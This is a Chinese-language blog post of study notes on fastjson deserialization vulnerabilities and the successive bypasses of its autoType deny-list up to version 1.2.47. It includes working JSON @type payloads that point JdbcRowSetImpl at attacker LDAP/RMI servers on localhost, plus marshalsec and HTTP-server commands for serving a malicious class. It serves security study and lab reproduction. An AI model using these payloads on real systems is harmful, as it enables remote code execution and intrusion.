[Java安全]—fastjson漏洞利用

news2024/9/27 17:34:43

前言

文章会参考很多其他文章的内容,记个笔记。

FASTJSON

fastjson 组件是 阿里巴巴开发的序列化与 反序列化组件。

fastjson 组件 在反序列化不可信数据时会导致远程代码执行。

POJO

POJO是 Plain OrdinaryJava Object 的缩写 ,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类

用 来实现JAVA POJO对象 与JSON 字符串的互相转换,比如:

User user = new User();
user.setUserName("李四");
user.setAge(24);   
String userJson = JSON.toJSONString(user);

将其 序列化的结果为:

{"age":24,"userName":"李四"}

以上将对象转换为 JSON 字符串的操作 称之为 序列化 ,反之,将JSON字符串实例化成 JAVA POJO 对象的操作 即称之为 反序列化

Java 反序列化机制

简单介绍 序列化 和反序列化工具类:

ObjectInputStream和ObjectOutputStream

序列化
User user = new User();
user.setName("李四");
user.setSex("M");
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("User.txt")));
oo.writeObject(user);

反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("User.txt")));
User user1 = (User) ois.readObject();
System.out.println(user1.getName() + ":" + user1.getSex());

序列化需要调用ObjectOutputStream的writeObject方法,反序列化需要调用ObjectInputStream的readObject方法。

输出结果:

 也就是执行了以下:

User writeObject
User readObject
User readResolve
李四:M

fastjson 反序列化机制

添加依赖:

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.23</version>
    </dependency>
</dependencies>

案例1

标准POJO类定义如下,有userName和age两个属性,还有一些构造函数。

package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) throws Exception{
        System.out.println("setAge");
        this.age = age;
    }
    public void setTest(int i){
        System.out.println("setTest");
    }
public static void test1() throws Exception {
    Student student = new Student();
    student.setAge(18);
    student.setName("snowy");
    System.out.println("====================");
    String jsonString1 = JSON.toJSONString(student);
    System.out.println("====================");
    String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
    System.out.println(jsonString1);
    System.out.println(jsonString2);
}
public static void test2()throws Exception{
    String jsonString1 = "{\"age\":18,\"name\":\"snowy\"}\n";
    String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"snowy\"}\n";
    System.out.println(JSON.parse(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parse(jsonString2));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString2));
    System.out.println("======================");
}
    public static void main(String[] args) throws Exception {
        test1();
        //test2();
    }
}

结果:

 可以看到, 调用JSON.toJSONString 的话(也就是序列化了),会自动调用对应的 getter 

其次 若是加上  SerializerFeature.WriteClassName,则返回的内容除属性值外,还会加上@type 字段 指明当前类

实例2:

接下来 看看test 2,将 JSON字符串转换成对象。

String jsonString1 = "{\"age\":18,\"name\":\"snowy\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"snowy\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");

结果:

{"name":"snowy","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{"name":"snowy","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"snowy","age":18}
======================

可以看到,不加上 @type 指明类时,时得不到类对象的。

当 加上  @type 字段 的字符串进行传唤后,不仅能得到类对象,  parse 会调用 对应的  setter,

而  parseObject 会调用两者  也就是 setter 和 getter

这个  @type 的方式 也叫做 autotype:

autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。

set开头的方法要求:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个
  • get开头的方法要求:

方法名长度大于等于4

  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon
     

JdbcRowSetImpl链结合JNDI注入

fastjson<1.2.24

在上边  案例 1 中 自动调用 getter 时,应该可以联想到  Commons-Beanutils中动态调用 getter 的方法。

如 Commons-Beanutils 里   PropertyUtils.getProperty 传入 name,他会自动在前面加上 get,然后将 n 转为大写,即调用 getName。 所以,这里如果传入 outputProperties 时,他会自动调用getOutputProperties ,所以这里也可以用这种方式来调用关键的两个方法 :setDataSourceName()setAutoCommit()

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

如果 这里的 this.conn == null 会调用 本类的 this.connect()

private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

connect() 中 如果  this.getDataSourceName() != null 则会调用 lookup ,从而进行rmi等协议远程加载类攻击。

所以我们先要进入 第二个if 判断,跟进看看这个  getDataSourceName() 的值

 返回了 dataSource ,所以这个值时由  dataSource 决定的。继续跟进dataSource

 是BaseRowSet类的属性,看看哪里能设置此值

 

 其中,setDataSourceName()方法 能设置他的值

 继续跟进,看看谁调用了  setDataSourceName() 方法,JdbcRowSetImpl是 BaseRowSet子类

JdbcRowSetImpl.setDataSourceName 调用了 BaseRowSet.setDataSourceName()

 因为 @type + parse 能够调用 setter 方法,我们的思路就是 利用 @type 机制 调用 dataSourceName 和 autoCommit (也就是setDataSourceName()setAutoCommit() ),并对其赋值,调用时 他会自动加上前缀set  这也就调用到了 我们刚刚看见的 lookup  ,从而进行 触发恶意类加载。

实现攻击:

攻击方式 和JNDI的LDAP 方式 一样

python 开本地服务。

python -m http.server 7777

使用 GitHub - RandomRobbieBF/marshalsec-jar:marshalsec-0.0.3-SNAPSHOT-all 编译在 X64 上

搭建 LDAP 服务, 服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999
import com.alibaba.fastjson.JSON;
class demo1{
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try {
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

 还是那个流程, 打到ldap 服务器,然后 本地服务有个恶意类,成功加载!

简单流程概括:

给getDataSourceName()赋值
JdbcRowSetImpl.setDataSourceName ->
BaseRowSet.setDataSourceName->
dataSource = name  

RMI 同样

package fastjson;

import com.alibaba.fastjson.JSON;

class demo1{
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try {
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

【<=1.2.24】JDK1.7 的TemplatesImpl利用链

可以看其他师傅的文章、

1.2.24漏洞版本修复

在1.2.25 版本,针对了1.2.24版本进行了修复

总结下 1.2.24版本的漏洞产生原因:

  • @type 该关键词的特性会加载任意类,并给提供的输入字段的值进行修复,如果字段有setter、getter、方法会自动调用该方法,进行复制,恢复出整个类。  这个过程会被叫做fastjson 反序列化的过程。不要把这个过程和java的原生的反序列化混为一谈,因为原生的反序列化需要用到readobject 而 fastjson 不需要,而fastjson 相应的 @type 加载任意类 + 符合条件的 setter 和 getter 变成反序列化利用点。
  • 在找到可以调用的setter 和getter之后,从这个可以被触发的setter 和 getter 之后就可以沿着不同的反序列化利用连 进行前进,比如具有一个限制条件的TemplatesImpl利用链,JNDI利用链。
  • 利用链子 最终到达payload 触发点,比如是JNDI 的远程加载而已class文件的实例化操作 或是 调用类中的getObjectInstance方法 ,与TemplatesImpl利用链中的class文件字节码的的实例化操作

修复则是对于 反序列化的触发点进行截断,在1.2.25中修复原理就是针对了 反序列化漏洞触发点进行限制,对于@type 标签进行了一个白名单 + 黑名单的限制。

可以看到 DefaultJSONParser类  这里对 @type 做了一些 判断,原本输入的键值是 @type 的时候,直接对值对应的类进行加载,而在1.2.25中 会将值 传入 checkAutoType 中。

checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport。

 fastjson 默认 AutoTypeSupport 为false  (开启白名单机制)。

所以我们先来看看 默认 AutoTypeSupport 为False 时的代码。这里我就截取一下 autoTypeSupport  = false 的情况的代码,因为他true 和false 都串联在一起,实在不好阅读,要打断点才能看清楚。

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        //一些固定类型的判断,此处不会对clazz进行赋值,此处省略

        if (!autoTypeSupport) {
            //进行黑名单匹配,匹配中,直接报错退出
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

        //此处省略了当clazz不为null时的处理情况,与expectClass有关
        //但是我们这里输入固定是null,不执行此处代码

        //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        //执行不到此处
        return clazz;
}

可以得出在默认的  AutoTypeSupport为False 时,要求不匹配到黑名单,并且同时必须在白名单内的class 才可以成功加载。

可以看一下默认的黑名单

 一般能用的链子都被 堵死在黑名单里了。正如 JNDI 和 Templates 的两个payload 都属于com.sun  被其匹配。

1.2.25 - 1.2.41绕过。

所以说 默认为false 几乎不行,所以接下来的绕过都是在服务器显性开启  AutoTypeSupport为True

的情况下进行的  (限制还是挺大的,要知道默认为false)

看一下 AutoTypeSupport为True 时的代码逻辑:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');


        if (autoTypeSupport || expectClass != null) {
            //先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
           //同样进行黑名单匹配,如果匹配成功,则报错推出。
            //需要注意这百年所谓的匹配都是startsWith开头匹配
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //一些固定类型的判断,不会对clazz进行赋值,此处省略

        //不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        //对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
        if (clazz != null) {
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }
        //返回加载的class
        return clazz;
}

可见在 显性关闭白名单的情况下, 我们也需要绕过 黑名单检测,同时他有个加载类的危险性判断, 也就是加载类不能继承Classloader 与 DataSource

看似只能从黑名单和其他能利用的类中绕过,其实 跟进一下类加载  TypeUtils.loadClass 就发现:

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className);

        if (clazz != null) {
            return clazz;
        }

        //特殊处理1!
        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        //特殊处理2!
        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
    ...

这里做了两个特殊处理 :

  •  如果时以 ‘ [ ’  开头的花,就会去掉这个符号,然后进行加载 
  • 如果这个类名时以 L 开头  且以  ;  结尾 则会去头去尾然后进行类加载

那么加上 L 开头 ; 结尾,就理所应当能够绕过所有黑名单了。

String  s = "{\"@type\":\"Lcom.sun.rowset.RowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/zSTPFQah\",\"autoCommit\":true";
        JSON.parseObject(s);

但是我这里报错显示不支持, 应该是被黑名单匹配到了,不太懂为什么,有知道的师傅可以说一下吗

找了下问题,发现要设置这一条:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

才想起来 他默认 的 setAutoTypeSupport 是 false ,我们要设置为true 才行

 提一嘴,yakit 很好用,不用直接用他的ldap 服务器就可以了

 

 加上 L   和  ;  确实是 能够绕过黑名单执行计算器的

1.2.42版本修复

在1.2.42 中 对于 1.2.41版本进行了修复,

对于defaultJSonparser  关键是在 ParserConfig 中修改了以下两点:

  •  修改明文黑名单为 黑名单hash
  • 对于传入的类名,删除开头  L  和结尾的 ;

黑名单的hash 形式:

 不知道禁用了什么类

再是对传入的类名 进行校验:

// hash算法常量
        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;
        // 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
        // 可以发现这边只进行了一次删除
        if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L)
        {
            className = className.substring(1, className.length() - 1);
        }
        // 计算处理后的类名的前三个字符的hash
        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            //基于前三个字符的hash结果继续进行hash运算
            //这边一位一位运算比较其实就相当于之前的startswith,开头匹配
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                //将运算结果跟白名单做比对
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                //将运算结果跟黑名单做比对
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //之后就是一样的处理,根据类名加载类

可以看到,他第一次 会删除开头的L 和结尾的 ;  然后再进行黑白名单匹配,如果黑名单匹配到了,就无法加载,那么很明显,他只做了一次的删除。那么我们可以双写,然后再绕过这个黑名单。

payload:

String  s = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/zSTPFQah\",\"autoCommit\":true}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(s);

1.2.43修复:

43对于42版本 对于双写 绕过进行了修复 

修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)的部分代码

//hash计算基础参数
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            //L开头,;结尾
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                //LL开头
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    //直接爆出异常
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

可见直接对LL 进行了匹配,至此jdbc类 和 templateslmpl无法利用。

1.2.44版本

1.2.44 版本补充了对 loadclass 时 [ 的利用,实际上 payload 时用不了的

1.2.47 通杀payload

分析  1.2.47版本的包:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        //1.typeName为null的情况,略

        //2.typeName太长或太短的情况,略

        //3.替换typeName中$为.,略

        //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
        //这里经过几版的修改,有点不一样了,但是绕不过,也略

        //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
        //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //6.从一个Mapping中获取这个类名的类,我们之后看
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }
        //7.从反序列化器中获取这个类名的类,我们也之后看
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
        //8.如果在6,7中找到了clazz,这里直接return出去,不继续了
        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
           //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
            return clazz;
        }
        // 9. 针对默认白名单开启情况的处理,这里
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;
                //碰到黑名单就死
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
                //满足白名单可以活,但是白名单默认是空的
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }
                    //针对expectCLass的特殊处理,没有expectCLass,不管
                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
        //通过以上全部检查,就可以从这里读取clazz
        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        //这里对一些特殊的class进行处理,不重要

       //特性判断等

        return clazz;
    }

仔细阅读源码,主要关键是在第 7 - 8步,如果在反序列化器中找到了类 ,则会返回类。

  • 当我们把 checkAutoType 设置为false 时,就会进入第9步,那么会碰到黑名单,根本无法走到下面
  • 那么我们的思路就是在 checkAutoType 为true 时,在第五步,虽然会跟黑名单进行匹配,但是后面还有一个if  却是可以return出去的,只要满足 这个 TypeUtils.getClassFromMapping !=null  就能跳出报错,而这个getClassFromMapping 是我们侧重的关键部分。
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);

那我们就要想  clazz 哪里可以赋值,在第五步  第六步  第七步三处,可以看到有赋值操作

第五步赋值操作:

 但是 这里要匹配到白名单内,才会赋值clazz 并返回,这是不可能的。

所以我们看到第6、7步

  1. TypeUtils.getClassFromMapping(typeName)
  2. deserializers.findClass(typeName)

getClassFromMapping(typeName)

因为是第六步,先来看看 getClassFromMapping(typename)

跟进

 跟进mappings

 寻找mapping的put方法。 搜索mappings.put

第一个位置 addBaseClassMappings():

 但是这里没有传参,都是一些基础类型,不可控。

第二处:

 这里有几处是 mappings.put 的

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        //判断className是否为空,是的话直接返回null
        if(className == null || className.length() == 0){
            return null;
        }
        //判断className是否已经存在于mappings中
        Class<?> clazz = mappings.get(className);
        if(clazz != null){
            //是的话,直接返回
            return clazz;
        }
        //判断className是否是[开头,1.2.44中针对限制的东西就是这个
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        //1. 我们需要关注的mappings在这里有
        try{
            //输入的classLoader不为空时
            if(classLoader != null){
                //调用加载器去加载我们给的className
                clazz = classLoader.loadClass(className);
                //!!如果cache为true!!
                if (cache) {
                    //往我们关注的mappings中写入这个className
                    mappings.put(className, clazz);
                }
                return clazz;//返回加载出来的类
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        //2. 在这里也有,但是好像这里有关线程,比较严格。
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                //同样需要输入的cache为true,才有可能修改
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        //3. 这里也有,限制很松
        try{
            //加载类
            clazz = Class.forName(className);
            //直接放入mappings中
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

如果可以控制输入的参数,那么可以控制其 往mappings里添加我们的恶意类。

看看此处的类在哪里被调用了

 事实上 只有TypeUtils 能够看,因为前三都是在checkautoType里的,如果能绕过,早就不需要这个mappings了。

所以跟进这个 TypeUtils看看。

 cache为true ,事实上 这个类会引用自己的loadclass 进行递归,就不看了。看到MiscCodec

 在deserialze函数中发现:

在clazz  == Class.class时,会调用TypeUtils.loadClass 进而传值加载。

 所以我们的思路是让这个clazz 为 Class.class,审计此处代码 要从clazz == Class.class 往上看:

这里贴其他师傅简化过的代码:

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;

        //4. clazz类型等于InetSocketAddress.class的处理。
        //我们需要的clazz必须为Class.class,不进入
        if (clazz == InetSocketAddress.class) {
            ...
        }

        Object objVal;
        //3. 下面这段赋值objVal这个值
        //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
        if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
            //当parser.resolveStatus的值为  TypeNameRedirect
            parser.resolveStatus = DefaultJSONParser.NONE;
            parser.accept(JSONToken.COMMA);
            //lexer为json串的下一处解析点的相关数据
             //如果下一处的类型为string
            if (lexer.token() == JSONToken.LITERAL_STRING) {
                //判断解析的下一处的值是否为val,如果不是val,报错退出
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }
                //移动lexer到下一个解析点
                //举例:"val":(移动到此处->)"xxx"
                lexer.nextToken();
            } else {
                throw new JSONException("syntax error");
            }

            parser.accept(JSONToken.COLON);
            //此处获取下一个解析点的值"xxx"赋值到objVal
            objVal = parser.parse();

            parser.accept(JSONToken.RBRACE);
        } else {
            //当parser.resolveStatus的值不为TypeNameRedirect
            //直接解析下一个解析点到objVal
            objVal = parser.parse();
        }

        String strVal;
        //2. 可以看到strVal是由objVal赋值,继续往上看
        if (objVal == null) {
            strVal = null;
        } else if (objVal instanceof String) {
            strVal = (String) objVal;
        } else {
            //不必进入的分支
        }

        if (strVal == null || strVal.length() == 0) {
            return null;
        }

        //省略诸多对于clazz类型判定的不同分支。

        //1. 可以得知,我们的clazz必须为Class.class类型
        if (clazz == Class.class) {
            //我们由这里进来的loadCLass
            //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

经过分析,关注点到 parser.resolveStatus  

  1. 当  parser.resolveStatus == TypeNameRedirect 我们需要json 串中有一个 “val”:“恶意类名”进入if 语句中 污染objVal 再进一步污染strVal,我们又需要clazz 为Class.class 来进入loadClass
  2. 所以json 串的格式为 “@type”="java.lang.Class","val":"恶意类名" 这样
  3. 当parser.resolveStatus != TypeNameRedirect 进入if 进入if判断的false中,可以直接污染objVal。再加上clazz=class类 大概需要一个json串如下:"被屏蔽的type"="java.lang.Class","恶意类名"

至于哪里调用了  MiscCodec.java#deserialze 来进行一系列的放进内存的操作。实际上查看引用会发现很多地方调用了,就比如解析过程中的  com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

既然知道这个 就打上payload 然后跟一下断点

 首先进入解析函数 parseObject()

 跟进,一直跟进

这里会进入 DefaultJSONParser.parser()

 跟进,一系列操作,最后到

 跟进 parseObject()

 这里有我们的三个在乎的点,如下顺序:

public final Object parseObject(final Map object, Object fieldName) {
   ...  
   //先是checkAutoType这个万恶的过滤函数
   clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
   ...
   //ResolveStatus的赋值
   this.setResolveStatus(TypeNameRedirect);
   //污染TypeUtils.getClassFromMapping的触发处
   Object obj = deserializer.deserialze(this, clazz, fieldName);
}

 先是到这一步,checkAutoType

 实际上呢,这就是之前对于@type的判断,我们是可以绕过黑白名单的,因为我们类是 java.lang.Class

跳到下面

 这里会在 mappings里找 java.lang.Class,实际上 mappings里是有的,返回去

 返回到 这里:

 继续往下跳,这里返回了。继续回到parserObject,再者说,这个checkAutoType也是可以直接跳的,没啥东西可看。

 其实重要的在下面,没事,继续往下跳。

 一顿操作跳到了此处:

 这里给  ResolveStatus 赋值了 2 ,说实话,我也不懂什么意思,但估计就是一个分支,继续往下看。应该是不影响的。

最后到这一步:

 既然上面都不影响,那就不管了,可以发现可以进入我们预计希望进入的  com.alibaba.fastjson.serializer.MiscCodec#deserialze

 

 既然满足了条件,我们也不用去想上面的骚操作,直接进入 MiscCodec.deserialze先。

 进来了就跳跳跳,到这里

 前面赋值为2  所以这个if 是满足的,并且 我们设置的val 也被解析出来了,最重要的是,objVal 也被设置成了我们的恶意类名

 strVal 被赋值:

 由于 objVal 是一个String ,进入一系列的class 判断,跳跳跳,最后到这个TypeUtils.loadClass,跟进

 这里设置了 cache 为true  ,很好,继续跟进

 我们跟一下会进入哪个 mappings.get()

第一个没进

 实际上他进入了第二个 mappings.put,将 com.sun.rowset.JdbcRowSetImpl 放进了 mappings了

 在 mappings 里找到了!mappings 也顺其自然添加了多一位数

 现在回头来看这个mapping看到现在,就是放入一些已经加载过了的类,在checkAutoType中就不进行检查来提高速度。

调用栈:

 那么获取一个有恶意类的类似缓存机制的mapping有啥用呢?

其实就是  mappings 多了我们的恶意类,那么内存里就会一直存着我们的这个恶意类。我们直接用第二次加载我们的恶意类直接打   就可以触发了!

思路:

{
    "a": {                              
        "@type": "java.lang.Class",           //放入内存
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",   //触发payload弹计算器
        "dataSourceName": "ldap://127.0.0.1:8085/KkMSGAKU",  
        "autoCommit": true
    }
}

结束!

回顾一下刚刚的流程:

进入 DefaultJSONParser#parserObject()

  1. checkAutoType 方法 拿到Class.class
  2. 设置了 ResolveStatus ,决定了之后deserialze 的if 走向
  3. 进入 deserializer.deserialze

.

MiscCOdec#deserialze

  1. parser.resolveStatus为TypeNameRedirect,进入if为true走向
  2. 解析"val":"恶意类名",放入objVal,再传递到strVal
  3. 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal

.

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

  1. 添加默认cache为true,调用loadClass

.

  1. 三个改变mappings的第一处,由于classLoader=null,不进入
  2. 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。

嘶,审下来 头有点大,得回过头来 反复琢磨一下

 

参考:

fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili  

JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

这两篇是我比较推荐的  视频搭配文章 效果很好!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/129592.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ZGC 垃圾收集器详解(过程演示)

